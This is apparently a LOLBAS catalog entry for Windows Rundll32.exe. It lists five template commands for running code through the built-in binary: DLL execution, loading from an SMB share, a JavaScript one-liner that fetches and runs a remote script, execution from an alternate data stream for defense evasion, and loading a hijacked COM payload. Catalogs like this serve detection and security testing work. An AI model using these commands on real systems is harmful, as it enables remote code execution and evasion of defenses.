CatalogLOLBAS

LOL · Binary

Rundll32.exe

5 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.

Use Execute DLL file

rundll32.exe {PATH},EntryPoint
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute

Execute

ExecutionWindows

Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.

Use Execute DLL from SMB share.

rundll32.exe {PATH_SMB:.dll},EntryPoint
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute

Execute

ExecutionWindows

Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

Use Execute code from Internet

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute

ADS

Defense EvasionFile WriteWindows

Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

Use Execute code from alternate data stream

rundll32 "{PATH}:ADSDLL.dll",DllMain
Evidence
Upstream reference
Environment
Local host
Context
user
Native
ADS

Execute

ExecutionWindows

Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

Use Execute a DLL/EXE COM server payload or ScriptletURL code.

rundll32.exe -sta {CLSID}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute